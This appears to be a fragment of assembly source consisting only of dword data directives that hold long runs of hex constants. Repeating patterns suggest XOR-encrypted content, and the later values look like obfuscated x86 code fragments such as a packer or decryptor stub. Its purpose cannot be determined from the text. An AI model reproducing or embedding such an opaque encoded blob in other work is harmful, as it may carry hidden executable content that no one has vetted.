		dd 0B1325E42h, 0FEF86BD5h, 250A4384h, 4453A3C0h, 0B0B55973h
		dd 4D32565Dh, 0B128D8A1h, 3A525657h, 0B123BF5Bh, 0ECE556D5h
		dd 62CD1F09h, 0B2F4D11Dh, 432547ABh, 0D0BE051Fh, 0B9B2596Dh
		dd 0D1325657h, 0BE19BA2Bh, 0E4538E6Ah, 0B1324203h, 3B0DE675h
		dd 9A81568h, 0D57BD098h, 0E04452B5h, 0BFA93E80h, 0D1DEDD6Dh
		dd 0B7B35929h, 0BE3256EAh, 0B13256F7h, 75B137BAh, 585236A1h
		dd 0B13256A5h, 1BC2D54Fh, 0CFDC8E1Ah, 30D8B57Dh, 89DE7D39h
		dd 40B3371Ah, 0D43CD1C1h, 0D752363Ch, 44B7A42Fh, 0ACA9B8D6h
		dd 59535D44h, 0B13256D5h, 0E2D8D7B0h, 0D1344EC5h, 434B93Bh
		dd 5853673Ch, 0B13256BCh, 0B55F3E5Eh, 836B007Bh, 133CA9DBh
		dd 45472918h, 0BB95DEAh, 0B72A2208h, 0B1325DB4h, 1FA897AEh
		dd 0EB5596C6h, 44395B97h, 32CB9FE6h, 353D56D5h,	0B1325291h
		dd 0B1325953h, 0D01AB85Dh, 210A8741h, 0AB686B44h, 0C0C30CB1h
		dd 0BECA515Eh, 0B1325E6Fh, 3A543675h, 66B9306Bh, 0BD47A93Ch
		dd 0B13EDBA1h, 393D5657h, 0B13256ADh, 0B132D9DAh, 0C4CD56EAh
		dd 0A6BB597Dh, 583256BAh, 0B132564Fh, 9792A0F9h, 0C4863293h
		dd 0D6E71330h, 0CB1FE78Ch, 5862AD54h, 0B132567Ch, 0B024C7D6h
		dd 0FB322EADh, 0B804BE28h, 0B8DB5657h, 183256ABh, 373DACC2h
		dd 48660359h, 343D967Eh, 0B1325683h, 0B13259B4h, 0A56F98AEh
		dd 1701A199h, 0F05FE940h, 28DCDB53h, 333D5161h,	0B1325674h
		dd 0B108BF42h, 353D565Dh, 0B13256BFh, 7B855937h, 0B1325142h
		dd 0D3E1EFD5h, 9BCB56B7h, 0A5F5D514h, 0B126D4B5h, 0F52565Dh
		dd 0CF70EA67h, 0B13251BFh, 9FD0E3ABh, 0A62DE6Fh, 0A9DB37B1h
		dd 48CDA98Ah, 58CE1333h, 0B1325649h, 0E3D72E55h, 0D33CE961h
		dd 0FFC66861h, 0BE01D875h, 0FA98B473h, 4D3E238Ah, 0D13A2345h
		dd 0B13251B4h, 0EFF8D4AEh, 60E3B0B7h, 0B1B559CBh, 303256D5h
		dd 0A354AA1Dh, 4E533768h, 0B13BBF8Dh, 0C78E565Dh, 0DE5ABD37h
		dd 58BE60B6h, 0B13256A0h, 0E4DE70ADh, 3D9B4D5Dh, 5968FC7Eh
		dd 0B1325EDAh, 0B3BC593Dh, 43256AEh, 0B13EBF4Ch, 768256ABh
		dd 328C84F2h, 0F7A625D4h, 0BA53CD66h, 0AFB6597Ah, 0D132565Dh
		dd 0B137DEA1h, 30545657h, 0D0041F5Dh, 0B1313D3Ch, 0B135BFEAh
		dd 0BEB75675h, 0C89B38E1h, 4D77DDBDh, 0B138D6A1h, 0BE525657h
		dd 0B1325624h, 0D0E3DCD5h, 333D51D3h, 0B1325531h, 0B135D7B5h
		dd 3C3D565Dh, 0B13256AFh, 4D77A9AEh, 0B54DD552h, 0DDB659D5h
		dd 0D13256EAh, 0B130DA7Ah, 0D05256BAh, 325391D6h, 0BE325AD1h
		dd 0B13200D3h, 0A0DA36ABh, 0D33256D5h, 881E123Ah, 75450601h
		dd 718F895Dh, 0E4500D8Eh, 0D9DBD7C8h, 0A0DB098Ch, 0F43256ABh
		dd 61210365h, 977C1425h, 0C960E91Fh, 0B61DFB48h, 0B15FBF3Ch
		dd 595256AEh, 0B132565Ah, 7071D9EDh, 0F0585E18h, 8AB1470Fh
		dd 0BA05EC53h, 0BE6C536Eh, 95380E2h, 4ECDA951h,	0B135D358h
		dd 0D75256ABh, 7372BF54h, 0B137EF8Bh, 42CE5675h, 5852AF11h
		dd 0B1325657h, 0FFA28B75h, 1E4D9A93h, 6FB3BE5Dh, 0C7236CF8h
		dd 4FACBF8Bh, 0A5DBA98Ah, 3256BAh, 1A028BE6h, 49EC6286h
		dd 0DC749077h, 620E1689h, 32C0D342h, 0BE374695h, 0B13220F1h
		dd 0B122BFBAh, 0A92C565Dh, 214D3125h, 0DA475267h, 0B02DB77Dh
		dd 0CEB10F8Ah, 343D50FAh, 0B132560Dh, 0B1325F53h, 0BFA64D5Dh
		dd 0E5210F07h, 0BE73D098h, 0B1325721h, 0F6B9AFD5h, 353D36EEh
		dd 0B1325677h, 71B337DAh, 0D7DAA86Ch, 0BD6DDDCFh, 0B137DB58h
		dd 495256ABh, 5853895Eh, 0B13256EDh, 2E3989F0h,	58054A62h
		dd 0B13257DBh, 0B1325C47h, 3D02FE57h, 1D17524Bh, 3A93F7AEh
		dd 3ACA52ADh, 3B3D5A2Ah, 0B13256BBh, 0B062BFA5h, 0B8DB56AEh
		dd 0BE325657h, 2CFFC2DBh, 54F8C5Ch, 0D1361161h,	0B1325D9Ch
		dd 7425FCBAh, 4EE3FA06h, 90E1F045h, 0BD6DDD36h,	0B133D2A4h
		dd 8ACA56D5h, 343D5EB5h, 0B13256DDh, 0B1325C53h, 39EA2D5Dh
		dd 5DD2B270h, 0E3B85FD8h, 50B3AACBh, 0C91B8E67h, 0B565DD8Bh
		dd 0B132539Ch, 0E14EE0BAh, 0E419D672h, 6436BEh,	3A540E3Eh
		dd 0E431377Ah, 0B9DB36C1h, 0AA3256EAh, 2A0DDD0h, 49933F1Bh
		dd 0BD6DDD3Ch, 0B13ED2A1h, 383D5657h, 0B13256ADh, 0B132D8DAh
		dd 6B1956EAh, 0B132459Ch, 0DCBBA0BAh, 89C5CBC6h, 5FE47868h
		dd 8B9DC53Bh, 1D66E40Ah, 5837BD56h, 0B13256E5h,	0D03A4CD5h
		dd 3E371B75h, 396B8A55h
		dd 0EB729BA7h, 0B15CBFAFh, 0A0DB56ABh, 0EB3256D5h, 27FF79F9h
		dd 9523FAEEh, 0BBCA8E71h, 392F8BABh, 0D1361125h, 3096B1D7h
		dd 0F5C7A762h, 0EEB937DDh, 46B936E6h, 0B1325C9Ch, 0DA2DFDBAh
		dd 857D262Dh, 0D0F71949h, 0BE36097Ch, 0B1325A24h, 0B7BA59D5h
		dd 0BE3256EAh, 0B13256FDh, 0B4D9D5BAh, 0B7B2593Dh, 0BE3256AEh
		dd 0B13256DEh, 3B3137ABh, 0B72072B4h, 5454EF8Ah, 0D0CA36E7h
		dd 0B2222939h, 0B122D352h, 0F0CE56AEh, 0B13ADC58h, 0BE5256ABh
		dd 0B132565Bh, 681937EAh, 0B13EDF7Ah, 3D3D56BAh, 0B132565Bh
		dd 0B132D6A1h, 0EDBB5657h, 353D57AAh, 0B13256DEh, 70B3308Ah
		dd 954667Ch, 953F487h, 4ECDA9A2h, 0B135DAA1h, 353D5657h
		dd 0B13256AAh, 0B137EF2Dh, 0A3DB56EAh, 16325675h, 44319C23h
		dd 8426E43Ch, 260A08BCh, 3DE60EC7h, 0BE99A56Fh,	0B1325A51h
		dd 0B7B859EAh, 0BE325675h, 0B1325639h, 4D00BF5Dh, 5852A951h
		dd 0B1325646h, 8A625EC8h, 0B392A4E8h, 3D04728h,	4E29CB62h
		dd 0D00AE24Fh, 0B123BF3Ch, 82156AEh, 0C48B0AE5h, 24ABEEA5h
		dd 228D670Fh, 7886A55Ah, 0B135D17Ah, 0D75256BAh, 4DB159E6h
		dd 0A1F0AACFh, 0B121BF57h, 28A256ABh, 0A3A0CEE8h, 0DEBCF20Fh
		dd 0D497E3C2h, 6866A3B6h, 0B8DB031Fh, 1B3256AEh, 7FAFE6CAh
		dd 0B77D8475h, 32CABA5Eh, 0B9DBAA2Eh, 0DC325675h, 0C07444B7h
		dd 0D1193F86h, 0E8FAD7CEh, 5773EFAh, 0B1DA3770h, 0EB3256D5h
		dd 4C0BC6Bh, 0BECE506Dh, 0B1325A31h, 0B7B0595Dh, 0BE3256AEh
		dd 0B13256D3h, 388DDABh, 0D1344EA1h, 3AEDDD8Ch,	7801378Ch
		dd 0B1324253h, 0E9B7735Dh, 0B336B11Dh, 0C1F9AA69h, 2E117EBBh
		dd 488F58B5h, 0B10DD5A7h, 0B2F4D27Ah, 44CE56BAh, 4ECE51D6h
		dd 4ECE5ADBh, 0B6DB5E22h, 473256ABh, 42E3AE70h,	58626BEDh
		dd 0B132567Fh, 3D0FF3C7h, 74526AA2h, 64DAFA10h,	44325654h
		dd 343D96A0h, 0B13256FDh, 0B122DEE5h, 0BADB5675h, 0A73256BAh
		dd 18BFF5B5h, 0D20438B0h, 0B6B93C3Dh, 0B103BF52h, 305256D5h
		dd 26681D25h, 0D0F1DD2Eh, 49269139h, 0BEE8DD3Dh, 0B1325025h
		dd 0DFBD757h, 0D00408C0h, 4ECDD63Ch, 0B9B45915h, 0BE325675h
		dd 0B132543Fh, 3853365Dh, 0B6DBAAEBh, 28325657h, 6437A584h
		dd 0D7523772h, 4E53AF61h, 3525A00h, 0D75237ECh,	59581EE2h
		dd 0B13256ABh, 0D1D2DEBDh, 0E96800D2h, 0B947A9B4h, 0B13ED5E5h
		dd 0B6DB5675h, 0DB3256BAh, 9656035Eh, 86CDE9C7h, 0B136DB58h
		dd 0D15256ABh, 98DA37B4h, 4D3256E9h, 0BEF25D80h, 0B132763Eh
		dd 0BE52365Dh, 0B1325628h, 0D0533657h, 0D0E2E9A4h, 0B130993Ch
		dd 0B7B959EAh, 0D1325675h, 79830FEAh, 4D77DD3Ch, 0BE356F52h
		dd 0B130E1D5h, 0B5B059ABh, 0D13256D5h, 4D53378Ah, 0BECE138Ah
		dd 0B1325131h, 0B0BA595Dh, 483256AEh, 0B13629D4h, 0B175D2A4h
		dd 0BECB56D5h, 0B1325E62h, 0EA623675h, 5657EDDCh, 0BD4DD53Ch
		dd 9FB659AEh, 0D1325657h, 3096A12Bh, 67646D23h,	0C3DB378Fh
		dd 0BE325675h, 0B1324E39h, 0A3B1595Dh, 583256AEh, 0B132565Ah
		dd 0CB466DB2h, 9AD576CAh, 0FBFE1719h, 4ECDEEDFh, 0BFDBA945h
		dd 0F032565Dh, 25FFC3A4h, 0EF3D941Fh, 0ACD7738h, 0B137EFC6h
		dd 333D56EAh, 0B1325679h, 0B134D2B5h, 343D565Dh, 0B13256AEh
		dd 0A0DBFDA4h, 463256ABh, 0FD82B084h, 88FEC813h, 5786A9A1h
		dd 6D147EC7h, 4ECC84B4h, 3A543651h, 57FFD686h, 0A14DD5CAh
		dd 36B659D0h, 0BE3256EAh, 0B1325AFCh, 0B7B159BAh, 0BE32565Dh
		dd 0B1325628h, 0A14DD557h, 1B759ADh, 583256D5h,	0B13256E1h
		dd 16276123h, 0B0E41D9Bh, 0F0FB07EDh, 0B1324247h, 0DF90E457h
		dd 5333CE39h, 0EB21C57h, 483AD402h, 63D21C97h, 0F6B9AE6Bh
		dd 3ACAAF59h, 353D5AF1h, 0B1325656h, 0B011BF57h, 0A5DB56D5h
		dd 253256EAh, 0B708D407h, 6F25BB78h, 0DDEF6924h, 0AA7CE706h
		dd 58EDE821h, 0B13256A5h, 98AA7CB3h, 76D072C8h,	693EE47Ch
		dd 0F6B96639h, 0A4B65959h, 583256AEh, 0B1325647h, 0F5C9BDA9h
		dd 0A45E4E3Ch, 80694EE4h, 4596CD3Bh, 0D13E0931h, 0BECF8BDDh
		dd 0B132532Ch, 3DF6EC57h, 58536CABh, 0B132565Bh, 0B1325C03h
		dd 0E64C0175h, 1479185Bh, 3A60A666h, 305252E9h,	6972A9B9h
		dd 0B126BFB8h, 50BE56D5h, 0C884411Fh, 23EAC3D2h, 8CA99BE8h
		dd 21A0C04Fh, 3A5366E3h, 58CE5A08h, 0B13256A6h,	1742545h
		dd 94123B86h, 1622A3C5h, 0B56D7D88h, 0B13250B4h, 4D3CA7AEh
		dd 32E128ECh, 0A3DB5340h, 1C3256D5h, 0A6545A8Ah, 45565284h
		dd 0B4BE1556h, 5D7CDEB5h, 0A14DD513h, 0A2B75954h, 583256ABh
		dd 0B13256D9h, 976B341Dh, 0B1408486h, 392BA13Eh, 6819A31Ch
		dd 0B1324547h, 55A68F57h, 35927DDh, 0F6FF10F3h,	7F2910A6h
		dd 2AFBC279h, 0EF6336DAh, 0B13CBF3Ch, 8B5956AEh, 0A84C1722h
		dd 0E136BB1Ah, 0EB87BCB2h, 0B06EDF8Bh, 58643674h, 0B13256AAh
		dd 0AAEA624Fh, 0DA1929C6h, 2E7530ABh, 0C4AFB7CFh, 0D0A7E08Dh
		dd 4ECDA952h, 0B126BF8Ah, 733C56BAh, 0C9E94C78h, 0DA10106Bh
		dd 6EE112C2h, 0FC9BECA2h, 0B48BC27Ah, 583256EAh, 0B1325665h
		dd 0DDBB317Fh, 60400BE9h, 1BF135EBh, 0AB4520F5h, 313DFD58h
		dd 0B13256DFh, 0BEE7E18Ah, 0B13256F7h, 65DB37BAh, 49CDA9A1h
		dd 0D1FBAACFh, 59F3E958h, 0B13256B9h, 42CE5019h, 0A55EBF2Ah
		dd 13C23DEAh, 377BFE8Eh, 7FB21298h, 73530941h, 5852565Fh
		dd 0B13256A0h, 0A723F8CFh, 0AEAB546Bh, 0D733AC7Ch, 0D0BAE000h
		dd 5DB9AF08h, 6F8559CEh, 4DF6D536h, 3A3D3653h, 0B13256D8h
		dd 399EEC8Ah, 7EB353A7h, 941FF469h, 0B977DD3Ch,	0B1325C47h
		dd 5D854657h, 0DC2849BFh, 8A60F47Bh, 333D5AAFh,	0B1325606h
		dd 0B1325E53h, 7D674D5Dh, 0BD708310h, 0A1776D9Fh, 0B16FD1A4h
		dd 353D56D5h, 0B13256E7h, 0B1325E9Ch, 8EC248BAh, 0E4139F97h
		dd 3A543624h, 7653AF9Dh, 0B132AAEEh, 363D56D5h,	0B13256CBh
		dd 0B126BF15h, 18C656BAh, 0BDB969EAh, 5045B58Dh, 41E30139h
		dd 2672D583h, 3C3D0DBDh, 0B13256EAh, 0B15DBF14h, 58CA56BAh
		dd 0B1325656h, 0E3462530h, 0DF90E478h, 7633CE39h, 0B133AA90h
		dd 303D56EAh, 0B132566Eh, 0B127DCB5h, 0A1DB565Dh, 4A3256AEh
		dd 40D456D3h, 0F5A8618Eh, 527432FBh, 586A3842h,	0B1325664h
		dd 64E5A2F7h, 4753C7ECh, 0DCE7FD4h, 4D7E93E9h, 0B129BFDAh
		dd 585256D5h, 0B13256FEh, 0CE405D21h, 2943934Fh, 0B063EECBh
		dd 2C63CA37h, 0DC143D72h, 3ACA37CAh, 5952AA90h,	0B13256E5h
		dd 69F3E235h, 4A4019A4h, 7385E0B0h, 31E3A45Ah, 316CEAB4h
		dd 78532669h, 0B1325E3Ch, 98D12BEAh, 0CB77883Eh, 0B13E94DCh
		dd 0B13258B4h, 94A6EAEh, 8777F404h, 88102A23h, 0E48D7487h
		dd 0BEDEDD16h, 0B13251FEh, 0E3D36BAh, 0D06C05AFh, 58CE922Dh
		dd 0B1325643h, 349C1012h, 5EF14046h, 10182F69h,	0DE68B637h
		dd 1170B7F9h, 0B122BF3Dh, 3DD556AEh, 70BF7DDEh,	1B03A9DCh
		dd 27619A2Dh, 0B1DAF73Bh, 0EB325675h, 0AE8BC3Bh, 0BADB5045h
		dd 7A3256AEh, 9DAE6875h, 22E8297Ah, 44CA5328h, 0B6DB9FD9h
		dd 0EF325675h, 0E9A2C182h, 82CBDA89h, 0B8B55975h, 0D1325657h
		dd 2B86872Ah, 0D0C76DC3h, 0B134DAE5h, 0D7525675h, 0D0074404h
		dd 0D1CE0BD4h, 7EB98C25h, 388DD36h, 0BE344EDFh,	0B1325A57h
		dd 0B7BC59EAh, 0BE325675h, 0B1325639h, 0B10DD55Dh, 0B30AD2A1h
		dd 32CE5657h, 343DA994h, 0B13256E7h, 3054068Ah,	0EB043E9Ch
		dd 3253A531h, 0A2DB429Ah
		dd 263256AEh, 7F22F001h, 0E2309590h, 0B02CC499h, 7A70ECC2h
		dd 73DBB2FBh, 0BECDA945h, 0B13257D4h, 0CEB1AFAEh, 353D5653h
		dd 0B1325692h, 0B132583Ch, 0EDE7AEEAh, 0F2C30A9Fh, 82751C79h
		dd 3216D02Bh, 0BE325AD1h, 0B1324AD3h, 0B0B559ABh, 493256D5h
		dd 0B1320403h, 0BBB05975h, 583256BAh, 0B1325658h, 0BA851303h
		dd 4D77A960h, 79B930CBh, 32CB3720h, 0A5DB422Dh,	0EA325675h
		dd 4CC4BC04h, 6CE45997h, 781EE293h, 43DEC3B4h, 580580F2h
		dd 0B13256DCh, 8CA6B53h, 9CB1D52Ch, 4E0DBF1Eh, 0D752A9A2h
		dd 31AD5B15h, 3253AC9Bh, 0BE3746D4h, 0B132D451h, 0B138BFEAh
		dd 77C45675h, 9A8961F6h, 0CD895C1Ah, 0B722292Dh, 0B1AED358h
		dd 0BCDB56ABh, 0CB3256D5h, 6C9389D1h, 28EAC4DBh, 0CE63B8CFh
		dd 5963361Ch, 0B13256A3h, 0CE1211A6h, 0B5E18DF8h, 1941A43Bh
		dd 316A0E74h, 3A53F19Ch, 383D52FDh, 0B132565Ch,	0BD6DDD52h
		dd 0B13251BEh, 0E1C8A8ABh, 2A15E088h, 0B19EBF12h, 0BE525675h
		dd 0A2DB8905h, 9F32565Dh, 71B78B00h, 24D8111Ch,	17C74086h
		dd 6BEB2AE0h, 3A531147h, 0E6525232h, 0D73C305h,	40B30C5Dh
		dd 960254B5h, 0BD6DDD36h, 2FF1D6CBh, 0B153BFB4h, 0BEDB56EAh
		dd 44325675h, 7B6C8268h, 1752D17Fh, 0A2984C64h,	0F6B953E8h
		dd 0EEB9A3AFh, 0A4BF59D9h, 583256EAh, 0B1325665h, 66DB3B2Dh
		dd 0D43AA8ADh, 9F826EDFh, 487F2D4Fh, 49360980h,	0D137BD56h
		dd 0B1325B02h, 0D5030775h, 0EA1192F9h, 0B834A0Fh, 60B9A82Fh
		dd 0CEB1370Dh, 343D55BBh, 0B13256D6h, 9ACE1713h, 0B6BE59ACh
		dd 0BE3256BAh, 0B13257D4h, 0EDBBA3AEh, 0D7525756h, 58886E14h
		dd 0B13256DEh, 0A62347E9h, 3D611487h, 0D0723A0Fh, 4ECDA9E5h
		dd 0BF8B3651h, 58269D5Ch, 0B13256A0h, 252AD719h, 0F123863Fh
		dd 0D09FEC60h, 0B1325303h, 383D365Dh, 0B13256AEh, 0DA7EE831h
		dd 4999A5CAh, 4ECF9A3Ch, 74B23615h, 0B3B55904h,	33256BAh
		dd 4D5337C1h, 73B330CEh, 0B7DA9383h, 2B3256ABh,	4906242Bh
		dd 0B13FBFCCh, 0E29B5675h, 600CE67h, 90497A43h,	0EE41AE79h
		dd 4D77DD36h, 0B1324242h, 0BB6116D5h, 0DC10BEB5h, 0E94677F3h
		dd 8E2DB12h, 4142BD9Ch,	373D9FDFh, 0B1325656h, 0E1CA365Eh
		dd 0F328B56Ch, 72530ED0h, 0B7B45915h, 303256BAh, 0D450908Eh
		dd 7FB330BAh, 0E153877Ch, 0B1325D42h, 91389CD5h, 1016E132h
		dd 66F7BD81h, 0B1324653h, 509D165Dh, 162AAC58h,	36A4979Dh
		dd 35C4B5FFh, 0E2CA0748h, 0B132BE1Fh, 30685675h, 0A98D4F50h
		dd 3CCEAA5Bh, 0A947D834h, 0B13ABF51h, 100B56ABh, 4D3F89A2h
		dd 0D58A7A4Ah, 0D1325675h, 30549131h, 0D01FA487h, 0B137C346h
		dd 0BAB9AE57h, 0BEF36D52h, 0B1325A57h, 0B7B059EAh, 0BE325675h
		dd 0B132563Dh, 0B184BF5Dh, 3C3D56AEh, 0B132565Fh, 0B130DEA4h
		dd 0D05256D5h, 0D1361DE9h, 1EDCD713h, 30543686h, 0D16796B7h
		dd 8A5337CFh, 6FB05996h, 443256ABh, 0B132453Ch,	0DB8A7FEAh
		dd 0E2287BA4h, 0F00E38BEh, 3C3CA61Ah, 8C8C3248h, 0D1221D54h
		dd 0D0F5DDCDh, 333D97EEh, 0B13256D3h, 0B137BF15h, 566E56BAh
		dd 0D729B5FAh, 0BE53A125h, 0B13245DBh, 305436ABh, 58A1091Dh
		dd 0B13256EDh, 88B46325h, 0D09BEE04h, 0B13271B4h, 0B135BFAEh
		dd 96B25657h, 9E59FADEh, 0B1B3BF20h, 585256EAh,	0B1325678h
		dd 0CD287AF5h, 0C9A50689h, 93C2BDEFh, 0D0E3DD32h, 0B1323042h
		dd 0B4BB59D5h, 0D13256EAh, 0D0C5DC80h, 0F32ECC37h, 0BEDB5044h
		dd 4D3256AEh, 0A1718620h, 0F5B02AEh, 85BCCD3Dh,	62CDA8BEh
		dd 0B132589Ch, 0C572FCBAh, 722AB074h, 7CCEBE67h, 58EA60C2h
		dd 0B132568Ch, 0B122BFB5h, 728856EAh, 0FBD7B6C6h, 0AD15F773h
		dd 0D6A5C329h, 60B351A5h, 0C0480D02h, 0F3A8DBCAh, 44344F90h
		dd 0EACB8515h, 7AB9368Dh, 0EC2F9D3Bh, 0E853446Eh, 0B1325047h
		dd 0BC0BD157h, 0E9C5F98Dh, 0B13CBFB5h, 763456EAh, 0C982A4D8h
		dd 0CEBD64FAh, 233EFA55h, 0EAE4D7C8h, 58F1373Dh, 0B13256ADh
		dd 2FBF60A5h, 0BE675F52h, 0B1324DF3h, 0A4B159BAh, 5832565Dh
		dd 0B13256BEh, 5FEF3751h, 0F956FE82h, 7FC2D1E7h, 88215A31h
		dd 0B8DBBAFEh, 0F03256BAh, 0B8CA7B92h, 9E8B9073h, 0B13ABF37h
		dd 2E6656ABh, 824CF7Eh,	595397B5h, 0B1325675h, 4AD8D7E0h
		dd 0D1344E9Dh, 0B1324246h, 739AE57h, 0AEC7AFFEh, 0A4DB7DE0h
		dd 20529E73h, 0B3C25DD7h, 68D5D748h, 0EE32A5FCh, 498D59CEh
		dd 0A8596D6h, 0D0535457h, 0B132423Ch, 4352C5EAh, 0EB83EAD0h
		dd 6357DD5Ch, 1C26BC39h, 0E953CDBFh, 0BE52AA58h, 0B1324227h
		dd 0B13DBFD5h, 6C6556EAh, 0ED285AC1h, 8E9DA8BBh, 308EC3AEh
		dd 0B7DB36C6h, 1E325657h, 0A8E7D923h, 0D0E3DD8Bh, 3CCA368Bh
		dd 0A947D8CFh, 0F4B9AFBCh, 373DAA55h, 0B13256A6h, 44893037h
		dd 0D0533672h, 0B8DB515Ch, 323256EAh, 0CB500889h, 0A56D7047h
		dd 0D13E13D6h, 0B1324547h, 0E1887057h, 34117836h, 96D023h
		dd 0DBB41258h, 1993466Ah, 0B575DFDBh, 0B13EDF52h, 3F3D56AEh
		dd 0B1325651h, 0B132DBA4h, 383D56D5h, 0B13256E4h, 0B1325F9Ch
		dd 0A0D289BAh, 468F02Dh, 0F4B96FE4h, 38C7AF47h,	3ACB5AECh
		dd 38CA4290h, 0BFDB46ADh, 3325675h, 2AE67386h, 0E0B11187h
		dd 1527714h, 30523731h,	2EB45348h, 0BEFB37DBh, 0B1325164h
		dd 0E3D3675h, 0D0533668h, 5832469Fh, 0B13256A2h, 3E1B69F2h
		dd 8FCF14C7h, 0C03C9A10h, 34F4AA8Ah, 0B720542Ch, 152AEFDh
		dd 0BC8930B7h, 0AB5A376Fh, 589A4124h, 0B13256A2h, 37426750h
		dd 7A189DE4h, 0B126BFC3h, 0DF0A56BAh, 0EE407DB5h, 0EA58EC2Eh
		dd 283599ECh, 18F16EC1h, 4CD0471h, 0B7207883h, 0B1325F9Ch
		dd 1042F4BAh, 0DABB7D5h, 34BFD00Bh, 0B727D7F3h,	6E8D59CBh
		dd 0B132453Dh, 0F7D4E9EAh, 696178F8h, 30F831CAh, 9B2F6133h
		dd 0B4340103h, 0D069A8E0h, 0D7528654h, 6FB3915Eh, 0D75ABC99h
		dd 6520414h, 3C53AAD5h,	0A945FCD7h, 0B5436A8h, 305494DDh
		dd 0D0198E61h, 49520729h, 0B131D9E5h, 52B25675h, 61CD37BDh
		dd 0B133D852h, 0EBC756AEh, 0B13BD858h, 35256ABh, 61B330A8h
		dd 3C53AE30h, 0A945FCF7h, 63DAFBCh, 3E3D5A1Dh, 0B13256A4h
		dd 0BEF3DC37h, 0B132562Eh, 69B937D5h, 0B1324503h, 5E234F75h
		dd 0C85D66FBh, 901D81A3h, 6352E5EDh, 1FA62D06h,	0B137BFF9h
		dd 0BD3D56D5h, 0BEA5F08Dh, 0A2B25944h, 0BE3256BAh, 0B1325BDBh
		dd 0B13ABFAEh, 82AE5657h, 0FA777F1Eh, 0D16891DFh, 389AE88Ch
		dd 20E0D615h, 0D0C9DDDCh, 0BEF1553Ch, 0B1325A2Fh, 0B7BD5957h
		dd 0BE3256ABh, 0B132565Bh, 78B0DFEAh, 48344464h, 0D1F1AFDBh
		dd 0BAC5E93Bh, 0B137D8A1h, 30545657h, 0D034C760h, 8B666051h
		dd 9E9D9h, 0E5B40000h, 0D2987D16h, 61C5BB79h, 158E0F52h
		dd 0F000000h, 0F88h, 0AE900h, 0E4AA0000h, 0EC84973Ch, 2373DBB3h
		dd 0E8h, 0EA815A00h, 618C3C4h, 1880FFCh, 0F9000000h, 19870F52h
		dd 0E9000000h, 14h, 0F18D271h, 0A957F6B4h, 82E5A860h, 0E67E04E3h
		dd 330EBE97h, 11C9828Bh, 8A600612h, 0BF0F51C3h,	60615BD0h
		dd 890FF88Bh, 0
		dd 4E6DB961h, 880F41C6h, 14h, 0E820Fh, 9E90000h, 0C1000000h
		dd 0B8D16F58h, 8E8B5142h, 138A0Fh, 0EE90000h, 6A000000h
		dd 0AE5A6998h, 0C773BF51h, 0B0775C70h, 0FE1F7B7h, 185h
		dd 0E95AFC00h, 7, 0BE291C2Ah, 0F91F23A8h, 303905h, 7810F00h
		dd 0F000000h, 187h, 0FF25F900h,	607FFFFFh, 0F4D0BA66h
		dd 15890Fh, 0FE80000h, 46000000h, 0AF032449h, 0E0A3CDEAh
		dd 0C30358B5h, 615E7E8Ah, 11C98289h, 5AF80612h,	88F0Fh
		dd 66600000h, 0C180F08Bh, 810F6117h, 15h, 10E9h, 22710F00h
		dd 57CA11Ch, 22679818h,	911F71C2h, 5E95967h, 0F4000000h
		dd 0FBDCA248h, 7800FC3h, 0F000000h, 186h, 0F951F800h, 0E8F9F952h
		dd 0
		dd 0E7EA815Ah, 600618C4h, 61F78B66h, 0CE9FCh, 0D1830000h
		dd 5AB3DDE4h, 1166EE30h, 0C88B149Eh, 0FE82E8FCh, 860FFFFFh
		dd 19h,	0BBE78160h, 0E9195461h,	0Ch, 651C4647h,	1688801Dh
		dd 87E0C55Ah, 0E9D23361h, 6, 0CB0AF7DFh, 0BE981D6h, 54000000h
		dd 0AAA21600h, 5FB7498Bh, 0F1F7587Fh, 10E9h, 0C8D1DF00h
		dd 50369DA8h, 89B17D99h, 0FC86FE46h, 0FC28B73h,	1A8Ch
		dd 14870F00h, 0E9000000h, 0Fh, 3D8DEFEDh, 0A2718F64h, 925E6C2Bh
		dd 5A665FE8h, 0CE8B6660h, 0DE951h, 0D2F90000h, 0B79314D0h
		dd 1715A7F9h, 5E66F5D6h, 8F0F5961h, 9, 0B8C38A60h, 301E826Fh
		dd 0B760C361h, 6E955h, 0BC360000h, 0B02807B8h, 12860F61h
		dd 0F000000h, 0C8Ah, 7E900h, 4BC0000h, 9CA7F41h, 0F9C08BFFh
		dd 60F8C08Bh, 18E0Fh, 0F8FC0000h, 4D858D61h, 0F806188Ch
		dd 0CE9D0FFh, 0AB000000h, 3384FCD1h, 48D3DF9Dh,	66E5B6DBh
		dd 0B060C18Bh, 0C681668Ah, 8D613C1Eh, 18C38F85h, 8589F906h
		dd 6121239h, 88E0Fh, 0BE600000h, 14B7C0Bh, 858D61F5h, 618C4DDh
		dd 5E9h, 1C7DB200h, 85899CEAh, 6121259h, 18A0Fh, 0B8F80000h
		dd 0
		dd 0C00BF9FCh, 194840Fh, 0C6F50000h, 12025985h,	12E95606h
		dd 3000000h, 0D3B4DA56h, 94328FCFh, 1FA37287h, 88B51093h
		dd 30DF6835h, 0FFF9A9C5h, 122E69B5h, 9E906h, 8B080000h
		dd 5A5866F7h, 8DB9E937h, 1581A485h, 13820F06h, 0F000000h
		dd 0D80h, 8E900h, 0AB9B0000h, 0D7A5EF35h, 11E9441Ch, 0D2000000h
		dd 283D6975h, 0E60869E6h, 9E7C0449h, 0FAEB4399h, 0EE9D0FFh
		dd 0FA000000h, 75BEEC01h, 0D93880EDh, 51B6BF6Eh, 6E95097h
		dd 64000000h, 35AC7FD3h, 858D8DBAh, 6006122Ch, 0B5C5F281h
		dd 52511E65h, 51615E5Fh, 0E9046AF5h, 11h, 9C7B1918h, 0F6B5DEBBh
		dd 732A6376h, 0A962A740h, 178E0FC5h, 0F000000h,	1185h
		dd 0CE900h, 0F0550000h,	0B39AD6Ch, 8444E861h, 6826BBh
		dd 0F000010h, 1489h, 0FE900h, 0C0EF0000h, 0CD7F3A15h, 8421F666h
		dd 40468346h, 55B5FFF0h, 0E9061225h, 10h, 0CFDEF5DEh, 7ACE21E0h
		dd 9DA59DD1h, 0CE3BAB11h, 8E0FD0FFh, 16h, 10830Fh, 0BE90000h
		dd 8000000h, 2AF7FF0Dh,	7AEFC43Fh, 0BD8BBCF8h, 6122555h
		dd 0EE9h, 0B1C53500h, 0B03E0E1h, 652E2753h, 39642C7h, 8D0F3C7Fh
		dd 11h,	0CE9h, 0ABA0D100h, 946DA38h, 20AB48C3h,	0F6060B3h
		dd 0DE8BF1B7h, 8161F861h, 0F8C7h, 47C7F900h, 2024h, 8F0F6060h
		dd 6, 830Fh, 81600000h,	0F74E4ED1h, 0C9B70F3Ah,	9D8D6161h
